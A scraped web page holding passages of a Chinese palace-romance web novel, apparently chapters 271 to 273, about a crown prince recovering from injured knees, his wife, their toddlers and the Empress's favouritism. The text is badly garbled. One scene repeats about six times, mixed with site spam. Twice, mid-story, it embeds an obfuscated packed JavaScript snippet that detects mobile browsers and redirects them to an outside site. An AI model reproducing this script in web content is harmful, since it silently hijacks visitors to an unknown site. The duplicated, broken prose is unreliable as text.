裴墨染饥肠辘辘,他将睡熟的承宁递给飞霜,默默地端起了粥碗。 他暗戳戳的想,等会儿他一定要教训蛮蛮! 可吃了药后,他很快就沉沉睡去。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 得倒吸了口凉气。 双膝跪烂了,血肉模糊。 膝盖旁边一片青紫。 裴墨染不以为然,府医给他上了药后,让人意外的是赵太医来了。 赵太医师出药仙谷,他给裴墨染针灸、熏艾,又开了药方,“殿下的腿总算是保住了,但是要保暖修养一个月,否则很有可能会染上腿疾,一到刮风下雨天气就疼痛难忍。” “这岂不是跟诸葛先生之前一样了?”裴墨染不经意道。 云清婳剜了他一眼,“夫君若是听话就不会这样。” “我知道。” 送走赵太医后,云清婳端着粥碗喂裴墨染喝粥,“夫君,想必赵太医是皇上派来的,皇上心软了。” 裴墨染不在意。 他已经接受了不被父母疼爱的事实。 所有人都看得出来裴墨染心情不好。 魏娴将承宁递给他,“殿下,您看,承宁最近乖巧不少。” 裴墨染接过承宁,眼中露出浅浅的慈爱。 承宁肌肤白皙,已经不是当初小猴子模样,顺眼了不少。 他乖巧地睡着,不哭不闹。 “承宁是不是瘦了些?辞忧这个时候可肉了,魏侧妃若是缺了什么就吩咐下去,或者跟太子妃说。”他交代。 魏娴重重出了口气。 谁能跟辞忧比啊? 辞忧可能吃了,当初蛮蛮的奶水她一个人吃都不够,婢女私下都玩笑说辞忧是个小饕餮。 她有些不悦,淡淡道:“多谢殿下。” “阿娴,我这儿还有孩子的小肚兜、小衣服,当初绣了太多,孩子长得快,都没来得及穿。”云清婳放下粥碗。 魏娴两眼放光,“是吗?那我可省事了。” 云清婳拉着魏娴的手,带她去纱橱挑衣服。 二人叽叽喳喳说个没完,全是关于怎么养孩子的。 裴墨染被冷落在床榻上,怀里还抱着承宁。 他突然觉得自己好凄凉。 这个魏娴真是的! 一来就跟他抢蛮蛮! 他可是病人,他需要照顾! 裴墨染饥肠辘辘,他将睡熟的承宁递给飞霜,默默地端起了粥碗。 他暗戳戳的想,等会儿他一定要教训蛮蛮! 可吃了药后,他很快就沉沉睡去。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第271章 承基:爹爹**? 翌日醒来时,裴墨染听见身后传来奶声奶气的嬉笑声。 承基、辞忧坐在床榻上,榻上摆满了做工精美的玩具。 这些都是皇上送的。 裴墨染的头皮发麻。 承基、辞忧不知道何时被送回来了。 他正乏着,如今可无力陪两个小家伙玩。 “爹爹,陪宝宝玩~” 辞忧站起来,她扶着裴墨染的胳膊,弯下腰,歪着小脑袋,打量他的脸。 裴墨染赶紧阖上双眼,状似熟睡。 辞忧嘟着嘴,有些不高兴,“唔……” “爹、爹……”承基晃了晃裴墨染的胳膊。 裴墨染没反应。 云清婳、飞霜目睹全程,二人忍俊不禁。 至于这么害怕吗? 两个孩子还能吃了他不成? “爹爹不理宝宝。”辞忧抱着半个自己高的布娃娃,委屈地说。 承基安慰:“不是的,爹爹洗(死)了。” “哦。”辞忧释怀了。 裴墨染:??? “哈哈哈哈……”云清婳笑了。 飞霜也扑哧一声笑喷了。 裴墨染猛然睁开眼,眼中满是震惊。 他蹭得从榻上弹坐起来,他气急败坏,“逆子!你诅咒你爹是吧?” “爹爹没洗。”辞忧认真地纠正哥哥的话。 “娘亲,怕怕……”承基嗷一嗓子又哭了。 云清婳都无语了。 儿子真的好茶啊。 她快步走上前,觑了裴墨染一眼,“昨日御前嬷嬷都说了,多亏了孩子,皇上才免了你的罚。你怎么对承基这么凶啊?” “蛮蛮,你方才听见了对吧?这逆子诅咒我。”裴墨染委屈极了。 云清婳又笑了,“你多大了,还跟孩子计较?孩子又不明白死是什么意思。” 裴墨染想到什么,他正色问:“承基、辞忧,谁跟你说死这个字的?” 孩子这么小,究竟是何人在他们面前乱说话了? “爷爷。”辞忧摆弄着手指头。 承基道:“鸟不动了,洗了。” 裴墨染的表情有些难看,他不悦道:“父皇太过分了,孩子还不到两岁,教这些作 甚?把他们吓到怎么办?他没有一点分寸!” “你看他们俩像被吓到了吗?”云清婳倒是无所谓。 只要皇上喜欢爱怎么教就怎么教吧。 裴墨染哑口无言“……” “承基、辞忧日后不许说**这不是什么好话。”云清婳正色教导。 两个孩子委屈地点点头。 云清婳掀开被褥捋起裴墨染的裤腿给他上药他的膝盖还没结痂看上去触目惊心。 “承基、辞忧爹爹的膝盖破了给爹爹吹吹。”云清婳道。 承基、辞忧对着裴墨染的膝盖呼呼。 “痛痛飞走了。”辞忧奶声奶气道。 裴墨染揉揉他们的脑袋嘴角扬起浅浅的弧度。 “等会儿我就进宫。”裴墨染道。 “夫君今早我请求十皇子向陛下替您告假陛下准您在东宫处理政务了诸葛先生跟乾风一大清早就把奏折押运来了。”云清婳陈述着事实。 裴墨染蹙眉“蛮蛮不可以我许久未去勤政殿了不能再懈怠了。” 她瞪了他一眼有些刻薄地说:“你的腿不要了?你又不能走路出门让人看笑话吗?你的腿若是残了废了我就不要你了。” 裴墨染如临大敌。 他的心咯噔一响他摸了下膝盖以下的小腿知觉还是没有完全恢复。 他若是真的残了别说蛮蛮不要他了东宫之位他也没资格坐了。 “我知道了。”他认命地叹了一声。 云清婳探着脖子在他脸颊上亲了一口“夫君乖啊把腿养好了你才能照顾我们母子啊。” 承基、辞忧模仿着云清婳在裴墨染的脸上亲了一口“爹爹乖啊。” 裴墨染无奈地笑了。 这两个小家伙真是……让他喜欢的时候喜欢得不得了。让他生气的时候 赵太医带着药箱来针灸了云清婳将两个孩子抱去奶娘的屋里。 趁着赵太医针灸时云清婳拉着飞霜问:“赵太医的医术如何?” “赵太医算是奴婢的师叔医术照理说比奴婢好。”飞霜如实回答。 她的眼神复杂“那么裴云澈精寒的事他能看出来吗? ” “看得出来。”飞霜很笃定。 她都能看出来的事情赵太医没有理由看不出来。 云清婳勾唇一笑。 这便好了! …… 翊坤宫。 裴云澈在偏殿被关了一夜。 清早他正准备上朝时便听心腹太监禀报了昨晚的一切。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124936|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴寒的目光射在皇后的脸上。 皇后有些心虚地错开眼。 “母后满意了?昨晚九皇弟、十皇弟都去求情了甚至连睿王都去了!唯有儿臣没去父皇会怎么想儿臣?父皇定觉得儿臣对太子积怨已深不能容人!甚至怀疑儿臣对东宫之位虎视眈眈!” 裴云澈胸闷气短急火攻心看她的眼神褪去了温度向来温润的脸庞写满了憎恶。 皇后错来他审视的目光“云澈你怎能这么对母后说话?母后怎么知道他们会去求情?这只是小事你父皇不会跟你计较的……” 裴云澈感到无比的心累他想要跟皇后争执可却泄了劲儿。 没必要。 因为这跟对牛弹琴没区别! 皇后满心满眼只有对儿女的掌控 “罢了!母后以后不要再管儿臣了你的好心每次只会误事。”他的语气很淡。 但精准地钉进了皇后的心脏。 皇后的眼泪啪嗒落下。 裴云澈只觉得皇后无比的晦气甩袖就走。 赤阳王的丧礼、《开元棋谱》以及昨晚的求情…… 一桩桩一件件都是皇后的好心可最终都只换来了皇上的愤怒。 他有的瞬间都不禁怀疑皇后是不是为了帮亲儿子故意陷害他。 但他又觉得自己想多了。 皇后狭隘的心胸哪想得到这些? “云澈云澈……”皇后伸出手无助地呼唤着他的名字想要挽留。 可留给她的只有渐行渐远的背影。 皇后感觉好冷内心空虚寂寞。 她抱着胳膊哀声道:“本宫又不是故意的本宫也是好心啊!都怪云清婳!她若是不出现本宫怎会鬼迷心窍地拦住云澈?” “这只是件小事罢了没去求情就没去又不是什么大错为**澈这么生气?云澈分明是为了云清婳故意给我甩脸色!” 皇后越想越委屈。 金嬷嬷揩去额上的汗水。 贤王是个追求完美的人更何况贤王有心夺嫡这是不容出半点差错的。 昨晚贤王没去求情的确不是错误。 但其他人都去求情就他没去这便成了皇上心中的污点贤王怎能不生气? “娘娘母子哪有隔夜仇?贤王过几日想明白了就好了。”金嬷嬷轻拍着皇后的背脊。 皇后突然想到什么她的眼眸一亮像是抓住了最后的希望“昨晚你把饺子给墨染送去了吗?墨染有什么反应?” 第272章 莫不是又怀了? 金嬷嬷的嘴半张着,有些尴尬。 她支支吾吾道:“殿下身子不适,急着回东宫,并没有吃饺子。 “他有什么反应?是不是很感动?皇后瞪大了眼睛,期待地问。 在她心中,裴墨染是缺母爱的。 她在雪中送炭,裴墨染肯定很感动。 金嬷嬷的脸都快皱成苦瓜了,她欲言又止,不知道怎么开口。 最后在皇后的反复追问下,金嬷嬷才勉强将昨晚裴墨染的话复述给她听。 皇后气得险些一口气没提上来,“反了天了!反了天了!墨染居然说出这么大逆不道的话他居然敢骂本宫!本宫可是他的娘啊!本宫十月怀胎,为了生他,疼得死去活来啊。他有没有良心啊? 皇后越想越气,抽抽噎噎地哭了,就像受了天大的委屈。 金嬷嬷以及四下的宫女、太监很无奈。 “娘娘,老奴猜测,莫不是饺子是贤王殿下吃剩的事儿,被殿下知道了?金嬷嬷小心翼翼地说出猜测。 昨晚,她的老脸都红了。 若不是皇后娘娘是殿下的生母,她都觉得皇后娘娘是在羞辱人。 “不论如何,饺子也是本宫亲手包的,都是本宫的心意。本宫又没把云澈咬过的给他吃,他在嫌弃什么?肯定是云清婳,肯定是云清婳在他面前说了本宫的坏话! 金嬷嬷叹了口气。 少顷,苏灵音求见。 皇后将昨晚的事全部说给苏灵音听。 苏灵音看皇后的眼神都带了一丝难以言喻的无奈与失望。 “姑母,殿下毕竟被冷落了这么多年,他想要的或许是唯一的偏爱。她刻意咬重了最后几个字。 “唯一的偏爱?皇后哽咽。 “没错!您若是让殿下感觉在您心里他比贤王重要,殿下或许会释怀、感动。苏灵音道。 皇后垂下眼,“云澈跟墨染在本宫心中是一样重要的,本宫身为他们的母亲,怎能厚此薄彼? “姑母!苏灵音有些不耐烦了。 因为她也明显感受到了皇后的偏心! 起初她也是震惊的,她不相信一位母亲会护着养子,薄待亲儿子。 可现在事实摆在眼 前。 “姑母!您要为自己考虑,为苏家考虑啊!何不用些手段拉拢两个儿子?难道您想眼睁睁看着云清婳夺走您的两个儿子?苏灵音提醒。 皇后像是被敲了一记闷棍,渐渐回过神。 “好,本宫不会让云清婳得逞的。 …… 眨眼过了大半个月,到了秋季,承基、辞忧两岁了。 一年一度的秋狝也来了。 今年秋狝,皇上钦点了所有皇子前去木兰围场。 这一次,许多嫔妃也在随行的名单中。 裴云澈随行在皇上左右,二人一同狩猎、策马,言笑晏晏,皇上脸上频频出现笑容。 许多臣子纷纷转去向裴云澈献殷勤,而裴墨染的营帐却门可罗雀。 甚至有人谣传,裴墨染的腿废了,太子之位坐不久了。 皇上跟裴云澈合力狩猎了一头雄鹿。 皇后一脸骄傲,她梗着脖子,欣喜与傲慢不言而喻。 “皇后娘娘真是好福气,两个儿子,一个贵为太子,一个深得皇上喜爱。虞贵妃笑得妖艳。 皇后颔首,“两个孩子争气,本宫跟着享福罢了。 “只可惜,听说太子殿下的腿不太妙啊。 皇后的脸色有些难看,“胡言! 她的心头一痛。 毕竟是自己亲生的儿子,母子之间吵了架,她也忍不住心疼。 即使墨染真的不堪重用,从东宫被赶了出来,让云澈当了太子,她也会不忍心。 皇后亲自下厨,做了补品。 金嬷嬷看到这一幕,欣慰地颔首。 娘娘终于想通了,会关心殿下了。 …… 太子营帐中。 云清婳正坐在床榻边缘看画本,裴墨染百无聊赖地倚靠在床头,手不老实地在她腰间、腿间逡巡。 啪—— 云清婳一巴掌打开腰上的手,“夫君又不老实了。 “我快无聊**!我的腿早就好了,你不让我去狩猎,也不肯跟我亲热。他委屈兮兮地说。 她的黛眉一横,虎着脸道:“还没一个月呢,你的腿不想要了? “你没听见皇上的笑声?裴云澈都快把我取 而代之了,世人都快忘了有我这个太子了!我再不露面,恐怕裴云澈都要入住东宫了。”裴墨染越想越不安。 云清婳放下话本子,她条理清晰地分析:“夫君只要没有出错,就算是皇上也不能无缘无故地废太子。” “好!蛮蛮不让我下床就不下,但你总得让我跟你亲热吧?”他话锋一转。 云清婳合理怀疑,他兜着圈子就为了说这件事。 “你别总想着这些,回家再说。”她的脸蛋泛着桃粉色,如同即将绽放的两瓣桃花。 裴墨染将她拉进怀中,软磨硬泡,“就今晚!心肝儿,你疼疼我,我好可怜。” “会被人听见的。”她严词拒绝。 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) 他混不吝道:“我小声些,或者你选个地方。” 云清婳:??? 什么虎狼之词? 他还想在外面不成? “我看夫君又想挨巴掌了。”她在他的腰上狠狠拧了一把。 裴墨染嗤嗤地笑了,他的大掌落在她的小腹上轻揉,唇落在她的耳垂上,“这个月,月事来了吗?” “还没呢。”她摇摇头。 他蹙眉,“怎么还没来?往常每月下旬早就来了。” “我来不来,关你什么事?”她觉得莫名其妙。 她的经期素来不准。 裴墨染的脸色有些难看,“莫不是又怀孕了?你身子这么弱,前些日子还中了箭,遭不住的。” 而且蛮蛮已经生了两个逆子了,保不齐第三个是什么样! 说不定又是个混世魔王,比承基还过分! “美得你!我喝避子药了!”她翻了个白眼。 他还是不放心,暗自决定稍后找太医来给她看看。 “说到这个,内务府前些日子来催了,说近两个月侍寝簿子都没记录了,让我催你雨露均沾呢。”云清婳嫌弃地瞥着他。 裴墨染的剑眉一沉,心里烦透了。 有些事情,一旦变成任务,就会索然无味。 他又不是生育工具,用得着人来催? “我知道了,你别催我。”他敷衍着说。 二人正纠缠着,王显走了进来,“殿下,太子妃,九皇子跟贤妃求见。” 贤妃便是九皇子的生母。 “让他们进来吧。”裴墨染松开云清婳,云清婳赶紧理了理皱巴巴的衣摆。 二人坐定后,九皇子、贤妃进来了。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 而代之了世人都快忘了有我这个太子了!我再不露面恐怕裴云澈都要入住东宫了。”裴墨染越想越不安。 云清婳放下话本子她条理清晰地分析:“夫君只要没有出错就算是皇上也不能无缘无故地废太子。” “好!蛮蛮不让我下床就不下但你总得让我跟你亲热吧?”他话锋一转。 云清婳合理怀疑他兜着圈子就为了说这件事。 “你别总想着这些回家再说。”她的脸蛋泛着桃粉色如同即将绽放的两瓣桃花。 裴墨染将她拉进怀中软磨硬泡“就今晚!心肝儿你疼疼我我好可怜。” “会被人听见的。”她严词拒绝。 他混不吝道:“我小声些或者你选个地方。” 云清婳:??? 什么虎狼之词? 他还想在外面不成? “我看夫君又想挨巴掌了。”她在他的腰上狠狠拧了一把。 裴墨染嗤嗤地笑了他的大掌落在她的小腹上轻揉唇落在她的耳垂上“这个月月事来了吗?” “还没呢。”她摇摇头。 他蹙眉“怎么还没来?往常每月下旬早就来了。” “我来不来关你什么事?”她觉得莫名其妙。 她的经期素来不准。 裴墨染的脸色有些难看“莫不是又怀孕了?你身子这么弱前些日子还中了箭遭不住的。” 而且蛮蛮已经生了两个逆子了保不齐第三个是什么样! 说不定又是个混世魔王比承基还过分! “美得你!我喝避子药了!”她翻了个白眼。 他还是不放心暗自决定稍后找太医来给她看看。 “说到这个内务府前些日子来催了说近两个月侍寝簿子都没记录了让我催你雨露均沾呢。”云清婳嫌弃地瞥着他。 裴墨染的剑眉一沉心里烦透了。 有些事情一旦变成任务就会索然无味。 他又不是生育工具用得着人来催? “我知道了你别催我。”他敷衍着说。 二人正纠缠着王显走了进来“殿下太子妃九皇子跟贤妃求见。” 贤妃便是九皇子的生母。 “让他们进来吧。”裴墨染松开云清婳 二人坐定后九皇子、贤妃进来了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 而代之了,世人都快忘了有我这个太子了!我再不露面,恐怕裴云澈都要入住东宫了。”裴墨染越想越不安。 云清婳放下话本子,她条理清晰地分析:“夫君只要没有出错,就算是皇上也不能无缘无故地废太子。” “好!蛮蛮不让我下床就不下,但你总得让我跟你亲热吧?”他话锋一转。 云清婳合理怀疑,他兜着圈子就为了说这件事。 “你别总想着这些,回家再说。”她的脸蛋泛着桃粉色,如同即将绽放的两瓣桃花。 裴墨染将她拉进怀中,软磨硬泡,“就今晚!心肝儿,你疼疼我,我好可怜。” “会被人听见的。”她严词拒绝。 他混不吝道:“我小声些,或者你选个地方。” 云清婳:??? 什么虎狼之词? 他还想在外面不成? “我看夫君又想挨巴掌了。”她在他的腰上狠狠拧了一把。 裴墨染嗤嗤地笑了,他的大掌落在她的小腹上轻揉,唇落在她的耳垂上,“这个月,月事来了吗?” “还没呢。”她摇摇头。 他蹙眉,“怎么还没来?往常每月下旬早就来了。” “我来不来,关你什么事?”她觉得莫名其妙。 她的经期素来不准。 裴墨染的脸色有些难看,“莫不是又怀孕了?你身子这么弱,前些日子还中了箭,遭不住的。” 而且蛮蛮已经生了两个逆子了,保不齐第三个是什么样! 说不定又是个混世魔王,比承基还过分! “美得你!我喝避子药了!”她翻了个白眼。 他还是不放心,暗自决定稍后找太医来给她看看。 “说到这个,内务府前些日子来催了,说近两个月侍寝簿子都没记录了,让我催你雨露均沾呢。”云清婳嫌弃地瞥着他。 裴墨染的剑眉一沉,心里烦透了。 有些事情,一旦变成任务,就会索然无味。 他又不是生育工具,用得着人来催? “我知道了,你别催我。”他敷衍着说。 二人正纠缠着,王显走了进来,“殿下,太子妃,九皇子跟贤妃求见。” 贤妃便是九皇子的生母。 “让他们进来吧。”裴墨染松开云清婳,云清婳赶紧理了理皱巴巴的衣摆。 二人坐定后,九皇子、贤妃进来了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 而代之了,世人都快忘了有我这个太子了!我再不露面,恐怕裴云澈都要入住东宫了。裴墨染越想越不安。 云清婳放下话本子,她条理清晰地分析:“夫君只要没有出错,就算是皇上也不能无缘无故地废太子。 “好!蛮蛮不让我下床就不下,但你总得让我跟你亲热吧?他话锋一转。 云清婳合理怀疑,他兜着圈子就为了说这件事。 “你别总想着这些,回家再说。她的脸蛋泛着桃粉色,如同即将绽放的两瓣桃花。 裴墨染将她拉进怀中,软磨硬泡,“就今晚!心肝儿,你疼疼我,我好可怜。 “会被人听见的。她严词拒绝。 他混不吝道:“我小声些,或者你选个地方。 云清婳:??? 什么虎狼之词? 他还想在外面不成? “我看夫君又想挨巴掌了。她在他的腰上狠狠拧了一把。 裴墨染嗤嗤地笑了,他的大掌落在她的小腹上轻揉,唇落在她的耳垂上,“这个月,月事来了吗? “还没呢。 他蹙眉,“怎么还没来?往常每月下旬早就来了。 “我来不来,关你什么事?她觉得莫名其妙。 她的经期素来不准。 裴墨染的脸色有些难看,“莫不是又怀孕了?你身子这么弱,前些日子还中了箭,遭不住的。 而且蛮蛮已经生了两个逆子了,保不齐第三个是什么样! 说不定又是个混世魔王,比承基还过分! “美得你!我喝避子药了!她翻了个白眼。 他还是不放心,暗自决定稍后找太医来给她看看。 “说到这个,内务府前些日子来催了,说近两个月侍寝簿子都没记录了,让我催你雨露均沾呢。云清婳嫌弃地瞥着他。 裴墨染的剑眉一沉,心里烦透了。 有些事情,一旦变成任务,就会索然无味。 他又不是生育工具,用得着人来催? “我知道了,你别催我。他敷衍着说。 二人正纠缠着,王显走了进来,“殿下,太子妃,九皇子跟贤妃求见。 贤妃便是九皇子的生母。 “让他们进来吧。裴墨染松开云清婳,云清婳赶紧理了理皱巴巴的衣摆。 二人坐定后,九皇子、贤妃进来了。 听说和异性朋友讨论本书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124937|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情节的,很容易发展成恋人哦 而代之了,世人都快忘了有我这个太子了!我再不露面,恐怕裴云澈都要入住东宫了。裴墨染越想越不安。 云清婳放下话本子,她条理清晰地分析:“夫君只要没有出错,就算是皇上也不能无缘无故地废太子。 “好!蛮蛮不让我下床就不下,但你总得让我跟你亲热吧?他话锋一转。 云清婳合理怀疑,他兜着圈子就为了说这件事。 “你别总想着这些,回家再说。她的脸蛋泛着桃粉色,如同即将绽放的两瓣桃花。 裴墨染将她拉进怀中,软磨硬泡,“就今晚!心肝儿,你疼疼我,我好可怜。 “会被人听见的。她严词拒绝。 他混不吝道:“我小声些,或者你选个地方。 云清婳:??? 什么虎狼之词? 他还想在外面不成? “我看夫君又想挨巴掌了。她在他的腰上狠狠拧了一把。 裴墨染嗤嗤地笑了,他的大掌落在她的小腹上轻揉,唇落在她的耳垂上,“这个月,月事来了吗? “还没呢。她摇摇头。 他蹙眉,“怎么还没来?往常每月下旬早就来了。 “我来不来,关你什么事?她觉得莫名其妙。 她的经期素来不准。 裴墨染的脸色有些难看,“莫不是又怀孕了?你身子这么弱,前些日子还中了箭,遭不住的。 而且蛮蛮已经生了两个逆子了,保不齐第三个是什么样! 说不定又是个混世魔王,比承基还过分! “美得你!我喝避子药了!她翻了个白眼。 他还是不放心,暗自决定稍后找太医来给她看看。 “说到这个,内务府前些日子来催了,说近两个月侍寝簿子都没记录了,让我催你雨露均沾呢。云清婳嫌弃地瞥着他。 裴墨染的剑眉一沉,心里烦透了。 有些事情,一旦变成任务,就会索然无味。 他又不是生育工具,用得着人来催? “我知道了,你别催我。他敷衍着说。 二人正纠缠着,王显走了进来,“殿下,太子妃,九皇子跟贤妃求见。 贤妃便是九皇子的生母。 “让他们进来吧。 二人坐定后,九皇子、贤妃进来了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 而代之了世人都快忘了有我这个太子了!我再不露面恐怕裴云澈都要入住东宫了。”裴墨染越想越不安。 云清婳放下话本子她条理清晰地分析:“夫君只要没有出错就算是皇上也不能无缘无故地废太子。” “好!蛮蛮不让我下床就不下但你总得让我跟你亲热吧?”他话锋一转。 云清婳合理怀疑他兜着圈子就为了说这件事。 “你别总想着这些回家再说。”她的脸蛋泛着桃粉色如同即将绽放的两瓣桃花。 裴墨染将她拉进怀中软磨硬泡“就今晚!心肝儿你疼疼我 “会被人听见的。”她严词拒绝。 他混不吝道:“我小声些或者你选个地方。” 云清婳:??? 什么虎狼之词? 他还想在外面不成? “我看夫君又想挨巴掌了。”她在他的腰上狠狠拧了一把。 裴墨染嗤嗤地笑了他的大掌落在她的小腹上轻揉唇落在她的耳垂上“这个月月事来了吗?” “还没呢。”她摇摇头。 他蹙眉“怎么还没来?往常每月下旬早就来了。” “我来不来关你什么事?”她觉得莫名其妙。 她的经期素来不准。 裴墨染的脸色有些难看“莫不是又怀孕了?你身子这么弱前些日子还中了箭遭不住的。” 而且蛮蛮已经生了两个逆子了保不齐第三个是什么样! 说不定又是个混世魔王比承基还过分! “美得你!我喝避子药了!”她翻了个白眼。 他还是不放心暗自决定稍后找太医来给她看看。 “说到这个内务府前些日子来催了说近两个月侍寝簿子都没记录了让我催你雨露均沾呢。”云清婳嫌弃地瞥着他。 裴墨染的剑眉一沉心里烦透了。 有些事情一旦变成任务就会索然无味。 他又不是生育工具用得着人来催? “我知道了你别催我。”他敷衍着说。 二人正纠缠着王显走了进来“殿下太子妃九皇子跟贤妃求见。” 贤妃便是九皇子的生母。 “让他们进来吧。”裴墨染松开云清婳云清婳赶紧理了理皱巴巴的衣摆。 二人坐定后九皇子、贤妃进来了。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 而代之了世人都快忘了有我这个太子了!我再不露面恐怕裴云澈都要入住东宫了。”裴墨染越想越不安。 云清婳放下话本子她条理清晰地分析:“夫君只要没有出错就算是皇上也不能无缘无故地废太子。” “好!蛮蛮不让我下床就不下但你总得让我跟你亲热吧?”他话锋一转。 云清婳合理怀疑他兜着圈子就为了说这件事。 “你别总想着这些回家再说。”她的脸蛋泛着桃粉色如同即将绽放的两瓣桃花。 裴墨染将她拉进怀中软磨硬泡“就今晚!心肝儿你疼疼我我好可怜。” “会被人听见的。”她严词拒绝。 他混不吝道:“我小声些或者你选个地方。” 云清婳:??? 什么虎狼之词? 他还想在外面不成? “我看夫君又想挨巴掌了。”她在他的腰上狠狠拧了一把。 裴墨染嗤嗤地笑了他的大掌落在她的小腹上轻揉 “还没呢。”她摇摇头。 他蹙眉“怎么还没来?往常每月下旬早就来了。” “我来不来关你什么事?”她觉得莫名其妙。 她的经期素来不准。 裴墨染的脸色有些难看“莫不是又怀孕了?你身子这么弱前些日子还中了箭遭不住的。” 而且蛮蛮已经生了两个逆子了保不齐第三个是什么样! 说不定又是个混世魔王比承基还过分! “美得你!我喝避子药了!”她翻了个白眼。 他还是不放心暗自决定稍后找太医来给她看看。 “说到这个内务府前些日子来催了说近两个月侍寝簿子都没记录了让我催你雨露均沾呢。”云清婳嫌弃地瞥着他。 裴墨染的剑眉一沉心里烦透了。 有些事情一旦变成任务就会索然无味。 他又不是生育工具用得着人来催? “我知道了你别催我。”他敷衍着说。 二人正纠缠着王显走了进来“殿下太子妃九皇子跟贤妃求见。” 贤妃便是九皇子的生母。 “让他们进来吧。”裴墨染松开云清婳云清婳赶紧理了理皱巴巴的衣摆。 二人坐定后九皇子、贤妃进来了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第273章 皇后、贤妃互撕 “贤妃娘娘快坐,您怎么亲自来了?”云清婳态度热情。 贤妃端着补汤,她面容和蔼,“听闻殿下的腿还未恢复,我就做了些补汤。殿下,你试试,这是我家乡的偏方。” “好香啊。”云清婳夸奖道。 飞霜嗅了嗅,确定补汤无毒后,云清婳将汤碗端给了裴墨染。 裴墨染尝了汤后,脸上的线条柔软下来,他感谢道:“贤妃娘娘的汤很好,多谢。” “殿下喜欢就好,我事先向翊坤宫的金嬷嬷打听了,知道您不喜欢羊肉、姜、椒,我都没敢用。其实我这次来是为了小九。”贤妃局促地搓搓手。 九皇子有些羞涩,他小声道:“皇嫂,咱们不是说好了吗?您帮我物色云家的小姐。” 云清婳险些喷出一口老血。 没完没了了! 裴墨染看出云清婳的为难,他道:“太子妃已经嫁给本宫,云家的事她也不便指手画脚,恐怕要让您失望了。” 九皇子、贤妃皆露出惋惜的表情。 云清婳沉思片刻,犹豫着开口:“除去云家,我倒是可以介绍其他适龄的小姐。” “好!只要是太子妃的眼光,我就放心。”贤妃笑得赤诚。 九皇子颔首,他自顾自地说了一句,“苏家太让我失望了!” “真是恶心。”贤妃像是觉得晦气,重重甩袖。 云清婳跟裴墨染看得出,母子二人如出一辙,皆是心思敞亮,快意恩仇的人。 正说着,外面传来了沙哑的公鸭嗓。 “皇后娘娘驾到——” “参见皇后娘娘。”贤妃、九皇子行礼。 云清婳福福身,“参见母后。” 皇后端着补汤进了帐篷,可看到了贤妃的瞬间,脸沉了下来。 她如临大敌。 就是这对贱母子,狠心绝情的退了雨荷的婚事! 真是薄情寡信,遇到一点点困难就退缩! 雨荷明明是清白的,可九皇子跟贤妃还一脸嫌弃! “墨染,本宫特意为你做了补汤。”皇后露出慈爱的表情。 裴墨染扫了眼床榻旁矮几上的空碗,不冷不热道:“劳母后费心,儿臣喝过了,吃不下了。” “本宫这次没准备羊肉, 是鸡汤,里面放了鹿茸、人参,用文火慢炖的。皇后的语气带着几分讨好。 但是冲鼻的姜味、椒味让人难以忽略。 场面陷入尴尬。 “都怪臣妾!臣妾不知娘娘做了补汤,方才快了一步,把补汤端来了。殿下不想抹了臣妾的面子,便喝了。贤妃抱歉的福福身。 皇后暗自剐了贤妃一眼,“墨染,不如你尝一下? 云清婳都想翻白眼了。 皇后是不是听不懂人话? 裴墨染都说了吃过了,她还非要逼他吃,根本没有考虑裴墨染的实际需求。 无非就是自我感动罢了! 这跟挑火龙果籽,然后如数家珍诉说自己为子女付出辛苦的父母没有区别。 “母后,夫君的腿尚未痊愈,方才还喝了许多药,不如晚上再吃吧。云清婳道。 皇后觉得在贤妃面前丢了脸,她淡淡地斥道:“本宫跟太子说话,岂容你插嘴? “……云清婳低下了头。 裴墨染抓着云清婳的手,冷声道:“母后,儿臣极其厌恶姜,这鸡汤恐怕喝不了。 皇后的脸面如同被丢在了地上被狠踩。 颜面扫地! 在贤妃面前抬不起头。 “本宫又不知道你厌恶姜……皇后毫无说服力的辩解。 贤妃打圆场,“娘娘满脸都是汗,想必为了炖汤劳累的。不如臣妾把里面的姜、椒挑出来?加上山泉水,放在火上煨一煨,晚上就能喝了。 皇后看着贤妃就一肚子火气。 她怒道:“本宫的汤什么时候由得你做主?贤妃,你平白无故献什么殷勤?太子喜欢什么,不喜欢什么,你比本宫还了解? “娘娘误会了,臣妾只是有事相求,所以才……贤妃强颜欢笑。 九皇子扶着贤妃,“皇后娘娘,母妃身子不适,我先扶母妃去看太医了。 “本宫让你们走了吗?你们可有把本宫放在眼里?皇后怒道。 贤妃原是将门嫡女,脾气算不得好,可低人一等,她只能委曲求全,“娘娘还有何吩咐? “你们有 